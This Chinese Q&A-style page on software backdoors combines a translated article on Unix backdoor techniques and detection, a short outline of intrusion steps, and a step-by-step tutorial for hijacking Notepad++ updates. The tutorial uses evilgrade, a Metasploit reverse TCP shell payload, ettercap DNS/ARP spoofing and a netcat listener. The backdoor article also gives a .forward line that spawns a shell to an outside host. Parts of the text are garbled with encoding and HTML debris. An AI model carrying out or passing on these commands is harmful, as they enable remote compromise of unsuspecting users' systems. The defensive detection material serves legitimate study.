本文目录一览：
- 1、什么是后门?怎么才能发现一款软件有后门?
- 2、怎样杀杀杀后门程序
- 3、怎么查杀软件后门木马？
- 4、1.描述利用后门程序入侵服务器的一般过程和步骤？
- 5、如何劫持软件更新来安装 Rootkit 的后门访问
什么是后门?怎么才能发现一款软件有后门?
当一个训练有素的程序员设计一个功能较复杂的软件时，都习惯于先将整个软件分割为若干模块，然后再对各模块单独设计、调试，而后门则是一个模块的秘密入口。在程序开发期间，后门的存在是为了便于测试、更改和增强模块的功能。当然，程序员一般不会把后门记入软件的说明文档，因此用户通常无法了解后门的存在。
/按照正常操作程序，在软件交付用户之前，程序员应该去掉软件模块中的后门，但是，由于程序员的疏忽，或者故意将其留在程序中以便日后可以对此程序进行隐蔽的访问，方便测试或维护已完成的程序等种种原因，实际上并未去掉。
这样，后门就可能被程序的作者所秘密使用，也可能被少数别有用心的人用穷举搜索法发现利用。
;url=http%3A//www%2Exiaom%2Ecom/Article%5Fshow%2Easp%3FArticleID%3D4777b=0a=29user=baidu
什么是后门?
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.
大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下，一台机器的脆弱性是它唯一未被注意的后门.
密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.
校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依*时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.
Login后门
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd.在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .
服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□？ucp这样不用的服务,或者被加入inetd.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.静态连接程序不会使用trojan共享库.
内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.
Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序 (sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门例子是amod.tar.gz :
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.
TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.
ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.
Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用 WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic
backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(
解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.
MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------
you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
nbs
the client and server).
Using smrsh can effectively negate this backdoor (although it's quite
possibly still a problem if you allow things like elm's filter or
procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'的.forward可能设置如下:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e/bin/sh"
这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或 procmail类程序, 很有可能还有问题 ......)
参考资料：zhidao.baidu.com
怎样杀杀杀后门程序
后门程序属于木马类的。
木马和病毒都是一种人为的程序,都属于电脑病毒,为什么木马要单独提出来说内?大家都知道以前的电脑病毒的作用,其实完全就是为了搞破坏,破坏电脑里的资料数据,除了破坏之外其它无非就是有些病毒制造者为了达到某些目的而进行的威慑和敲诈勒索的作用,或为了炫耀自己的技术. "木马"不一样,木马的作用是赤裸裸的偷偷监视别人和盗窃别人密码,数据等,如盗窃管理员密码-子网密码搞破坏,或者好玩,偷窃上网密码用于它用,游戏帐号,股票帐号,甚至网上银行帐户等.达到偷窥别人隐私和得到经济利益的目的.所以木马的作用比早期的电脑病毒更加有用.更能够直接达到使用者的目的!导致许多别有用心的程序开发者大量的编写这类带有偷窃和监视别人电脑的侵入性程序,这就是目前网上大量木马泛滥成灾的原因.鉴于木马的这些巨大危害性和它与早期病毒的作用性质不一样,所以木马虽然属于病毒中的一类,但是要单独的从病毒类型中间剥离出来.独立的称之为"木马"程序.
一般来说一种杀毒软件程序,它的木马专杀程序能够查杀某某木马的话,那么它自己的普通杀毒程序也当然能够杀掉这种木马,因为在木马泛滥的今天,为木马单独设计一个专门的木马查杀工具,那是能提高该杀毒软件的产品档次的,对其声誉也大大的有益,实际上一般的普通杀毒软件里都包含了对木马的查杀功能.如果现在大家说某某杀毒软件没有木马专杀的程序,那这家杀毒软件厂商自己也好象有点过意不去,即使它的普通杀毒软件里当然的有杀除木马的功能.
还有一点就是,把查杀木马程序单独剥离出来,可以提高查杀效率,现在很多杀毒软件里的木马专杀程序只对木马进行查杀,不去检查普通病毒库里的病毒代码,也就是说当用户运行木马专杀程序的时候,程序只调用木马代码库里的数据,而不调用病毒代码库里的数据,大大提高木马查杀速度.我们知道查杀普通病毒的速度是比较慢的,因为现在有太多太多的病毒.每个文件要经过几万条木马代码的检验,然后再加上已知的差不多有近10万个病毒代码的检验,那速度岂不是很慢了.省去普通病毒代码检验,是不是就提高了效率,提高了速度内? 也就是说现在好多杀毒软件自带的木马专杀程序只查杀木马而一般不去查杀病毒,但是它自身的普通病毒查杀程序既查杀病毒又查杀木马!
发现的话~~就将其清除即可。
后门病毒挺麻烦，一般狡兔三窟。。。。具体的病毒要具体分析了，不是几句话能说明白的了。你真好学呀 :)
怎么查杀软件后门木马？
你好！很高兴为你解答问题。
后门木马一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段，程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是，如果这些后门被其他人知道，或是在发布软件之前没有删除后门程序，那么它就成了安全风险，容易被黑客当成漏洞进行攻击。
楼主可以使用下面的方法来保护你的电脑安全。
1.下载腾讯8.5-对电脑进行体检，并且修复。
2.打开电脑管家-杀毒，打开小红伞引擎，这样可以增强查杀效果。
3.使用漏洞修复功能及时修复系统漏洞。
4.不要乱下载相关的程序，有些程序会危害你的电脑，下载后请先扫描下。
5.平时可以定期扫描系统垃圾，这样可以使你的电脑运行更快更好。
如果我的回答对你的问题有帮助，请采纳，谢谢！
1.描述利用后门程序入侵服务器的一般过程和步骤？
缓冲区溢出类：
查看服务器系统及软件版本，使用扫描器进行安全扫描，确认漏洞，寻找利用程序，进行溢出，得到SHELL，如果是非ADMIN权限，寻找其他漏洞提升权限。如果是ADMIN权限，任务完成。
SQL注入
寻找WEB页注入点，如果是MSSQL，直接执行DOS命令（如果是SA权限）或上传WEBSHELL（数据库备份）。如果是ACSSE，查询密码，扫描后台，登陆后台，上传WEBSHELL。获得WEBSHELL以后就可以修改主页之类了。
得到webshell后，利用一些漏洞或配置缺陷，得到ADMIN权限。任务完成。
如何劫持软件更新来安装 Rootkit 的后门访问
有无数种方法破解系统。如果我们想应用自己的系统，我们不应该忽视任何的可能性，我们需要搜索弱点保持警惕。在这次破解，我们将会看看滥用信任用户对软件更新，他们的系统上安装监听器/rootkit。
利用”值得信赖”的软件更新
我们都看见这条消息 — —现在有可用的软件更新!无一例外，我们相信此消息并下载的更新，大概是使我们更好地工作、 添加新功能，或使我们的系统更安全的系统。
如果，相反，当我们要提示下载更新，我们的系统会给出一个恶意的黑客控制安装恶意软件？这是我们要对我们的受害者在这里做什么 ！
不同于其他黑客攻击，这是一个独立的，正是这样的操作系统、 端口等。在这里我们将滥用用户信任，没有一个操作系统或应用程序。
这将是我们为 Null Byte, 做过的最复杂黑客之一，所以如果你是新来的黑客，你可能想回来后做点工作背景。这次破解也利用了我们做在早些时候教程使用中间人攻击，所以您可能想要先读一下。
第 1 步： 安装 NotePad + +
在这次破解，我们将使用Notepad + +作为我们的示例软件，我们将劫持其更新，所以您将需要将它安装在一个系统上。在我的示例中，我下载了它到 Windows 7 的系统。
您可以下载最新版本的 Notepad + +.
第 2 步： 下载和安装 EvilGrade
下一步，我们会安装a href="" http:="" "" kf="" web="" asp="" "="" target="_blank" class="07dd-ada5-ad20-150f keylink" style="color: rgb(51, 51, 51); text-decoration: none;"aspx?from=to=zh-CHSa=http%3A%2F%2F" target="_top"Infobytesec evilgrade，它被设计成一个模块化的框架，使攻击者可以通过注射”evil”更新到不知道用户的更新。我们可以下载从 GitHub evilgrade.
现在被称为evilgrade目录。
•mkdir -p /root/evilgrade
现在更改目录。
•cd /root/evilgrade
下一步我们解压并安装 evilgrade。
•tar -xvf isr-evilgrade-2.0.0.tar.gz
第 3 步： 运行 Evilgrade
下一步我们需要运行 evilgrade。我们键入：
•./ evilgrade
我们现在使用它从它自己的提示符运行于 evilgrade 交互式模式
•evilgrade
第 4 步： 列出模块
现在，运行的 evilgrade，让我们看看这些evilgrade 已建的模块。在这里，代表evilgrade模块设计劫持其更新/升级过程的软件。在这个技巧，当然，我们会劫持Notepad++升级。
正如你可以看到下面，evilgrade有许多其它的软件模块，但它远覆盖所有的软件更新/升级。
•show modules
关键是要找到受害者是使用什么程序，也是evilgrade的模块和目标应用程序列表。
第 5 步： 配置Notepad
接下来，我们需要告诉我们想要劫持其升级的过程是什么的软件的 evilgrade。让我们告诉 evilgrade 我们想要劫持notepadplus.
•evilgradeconfigure notepadplus
第 6 步： 查看 Notepad + + 模块需要什么参数
我们的下一步就是看哪些参数是evilgrade notepadplus模块需要的功能。我们用类似下面的命令检查这个Metasploit键入：
•show options
我们可以在上面的截图中看到此模块，需要我们到 Notepad + + 的软件和更新，即 sourceforge.net 源点。此外，我们需要设置代理，将是我们想要在受害人在预期更新位置上安装的恶意负载。
第 7 步： 生成一个Metsploit有效载荷
在，我们已经设置evilgrade了，我们需要开发一个恶意的有效载荷交付给升级软件，而不是实际的升级。我们可以用Metasploit的做到这一点。
如果您按照我的Metasploit的其他教程，你知道，我们可以选择一些不同的有效载荷使用Metasploit的（有效载荷是什么，我们加载到受害系统给我们控制）。在这种情况下，我们将使用其中一个最基本的有效载荷，在reverse tcp shell.。
我们可以产生一个有效载荷而不使用以下命令打开Metasploit的。此命令需要从Metasploit的框架，并将其装入一个利用一个叫做notepadplus_update.exe文件。
•/pentest/exploits/framework/modules/payloads/windows
• shell_reverse_tcp LHOST 192.168.1.104
• /root/evilgrade/notepadplus_update.exe
请注意，如果您使用的是不同版本的Backtrack或kali，这些有效载荷模块在不同的目录。
第8步：启动Evilgrade
接下来，我们必须启动evilgrade 服务器。这是以一个简单的初始命令。
•evilgradestart
第 9 步：添加Notepad++更新服务器作为域
我们的下一步是添加Notepad++我们要劫持域名。我们可以通过添加一个进入ettercap的etter.dns欺骗模块。这使我们能够欺骗受害者的软件更新源域名。
由于Notepad++是由SourceForge，我们添加下面一行的etter.dns文件结束。
•notepad-plus.sourceforge.net A 192.168.1.104
当然，你使用的IP地址应该是你想要更新过程来寻找你的邪恶更新IP地址。
第 10 步：配置iptables
iptables是Linux或UNIX内置防火墙/路由器。我们可以使用这个功能，路由的流量通过我们的系统在一个中间人攻击。让我们在您最喜爱的文本编辑器中打开etter.conf文件。
kwrite /etc/etter.conf
如图所见，通过文件当你滚动约三分之二，有一个条目，我已在 iptables 上突出显示。简单地取消注释 （删除 #) 到第二个和第三行，以便使用 iptables。
第 11 步： 开始 Ettercap
我们现在可以用下面的命令启动 ettercap。
•ettercap-Tqi eth0-P dns_spoof-M arp 192.168.1.114 192.168.1.104
条件：
•-T 指定终端接口
•-q 使用安静模式
•-i eth0说，我们想要使用eth0作为我们的接口
• -P dns_spoof选定，我们想要使用 dns欺骗 plug in_
•-M arp说，我们想要使用 arp 中间人攻击上之间两个 IP addresses_
第 12 步： 开启 Netcat 监听器
现在我们需要从我们的攻击机器启动netcat 侦听器。我们需要监听的evilgrade应用程序定义的端口，在这种情况下，Notepad + + 的端口为1234。
•nc-l-p 1234
第 13 步： 打开 Notepad + +
现在，让我们在受害者计算机打开 Notepad + + 。
第 14 步： 验证 DNS 欺骗
需要你打开 Notepad + +，如果此更新不会激发，我们需要检查 DNS 欺骗。
Evilgrade 是用于劫持软件更新的强大工具。通过播放一次攻击的人在中，我们可以攻击任何操作系统更新的软件。我们这里有的唯一限制是模块的 evilgrade 来劫持其更新。